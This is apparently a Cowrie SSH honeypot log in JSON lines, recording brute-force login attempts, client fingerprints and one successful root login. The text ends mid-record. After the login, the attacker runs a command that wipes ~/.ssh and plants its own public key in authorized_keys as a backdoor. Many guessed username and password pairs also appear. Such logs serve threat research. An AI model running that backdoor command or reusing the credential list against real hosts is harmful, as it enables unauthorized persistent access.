{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:40.693645Z","src_ip":"171.25.158.70","session":"9c0a899c115b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openkm","password":"openkm","message":"login attempt [openkm/openkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:41.124976Z","src_ip":"171.25.158.70","session":"9c0a899c115b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:42.235839Z","src_ip":"171.25.158.70","session":"9c0a899c115b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":32862,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bedefe8e34b","protocol":"ssh","message":"New connection: 118.26.39.178:32862 (159.203.135.109:22) [session: 8bedefe8e34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:13.212070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:13.216365Z","src_ip":"118.26.39.178","session":"8bedefe8e34b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57742,"dst_ip":"10.17.0.5","dst_port":22,"session":"a113c58f813a","protocol":"ssh","message":"New connection: 195.178.110.218:57742 (10.17.0.5:22) [session: a113c58f813a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:13.220284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:13.223636Z","src_ip":"195.178.110.218","session":"a113c58f813a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:13.303195Z","src_ip":"195.178.110.218","session":"a113c58f813a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:13.431332Z","src_ip":"118.26.39.178","session":"8bedefe8e34b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:13.542555Z","src_ip":"195.178.110.218","session":"a113c58f813a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bodega","password":"12345678","message":"login attempt [bodega/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:14.324884Z","src_ip":"118.26.39.178","session":"8bedefe8e34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:14.623937Z","src_ip":"195.178.110.218","session":"a113c58f813a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:15.543405Z","src_ip":"118.26.39.178","session":"8bedefe8e34b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":57516,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a124df802fb","protocol":"ssh","message":"New connection: 92.118.39.92:57516 (159.203.135.109:22) [session: 2a124df802fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:32.086911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:32.092012Z","src_ip":"92.118.39.92","session":"2a124df802fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:32.192052Z","src_ip":"92.118.39.92","session":"2a124df802fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:32.527074Z","src_ip":"92.118.39.92","session":"2a124df802fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:33.629024Z","src_ip":"92.118.39.92","session":"2a124df802fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":58820,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba0e0147eb80","protocol":"ssh","message":"New connection: 171.25.158.70:58820 (159.203.135.109:22) [session: ba0e0147eb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:34.515616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:34.520770Z","src_ip":"171.25.158.70","session":"ba0e0147eb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:34.637808Z","src_ip":"171.25.158.70","session":"ba0e0147eb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julie","password":"julie@123","message":"login attempt [julie/julie@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:35.194089Z","src_ip":"171.25.158.70","session":"ba0e0147eb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:24:36.314090Z","src_ip":"171.25.158.70","session":"ba0e0147eb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":55484,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a5113921044","protocol":"ssh","message":"New connection: 118.26.39.178:55484 (159.203.135.109:22) [session: 8a5113921044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:21.090391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:21.095184Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:21.313810Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"St123456","message":"login attempt [root/St123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:22.218407Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:22.690021Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:22.692860Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:22.695668Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:22.915987Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:23.385774Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:23.389047Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:23.612039Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:23.615991Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":55496,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bca8109e0de","protocol":"ssh","message":"New connection: 118.26.39.178:55496 (159.203.135.109:22) [session: 9bca8109e0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:23.831651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:23.836318Z","src_ip":"118.26.39.178","session":"9bca8109e0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:24.056616Z","src_ip":"118.26.39.178","session":"9bca8109e0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:24.973331Z","src_ip":"118.26.39.178","session":"9bca8109e0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:26.195922Z","src_ip":"118.26.39.178","session":"9bca8109e0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":55510,"dst_ip":"159.203.135.109","dst_port":22,"session":"98d2c4edfe49","protocol":"ssh","message":"New connection: 118.26.39.178:55510 (159.203.135.109:22) [session: 98d2c4edfe49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:26.403185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:26.407848Z","src_ip":"118.26.39.178","session":"98d2c4edfe49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa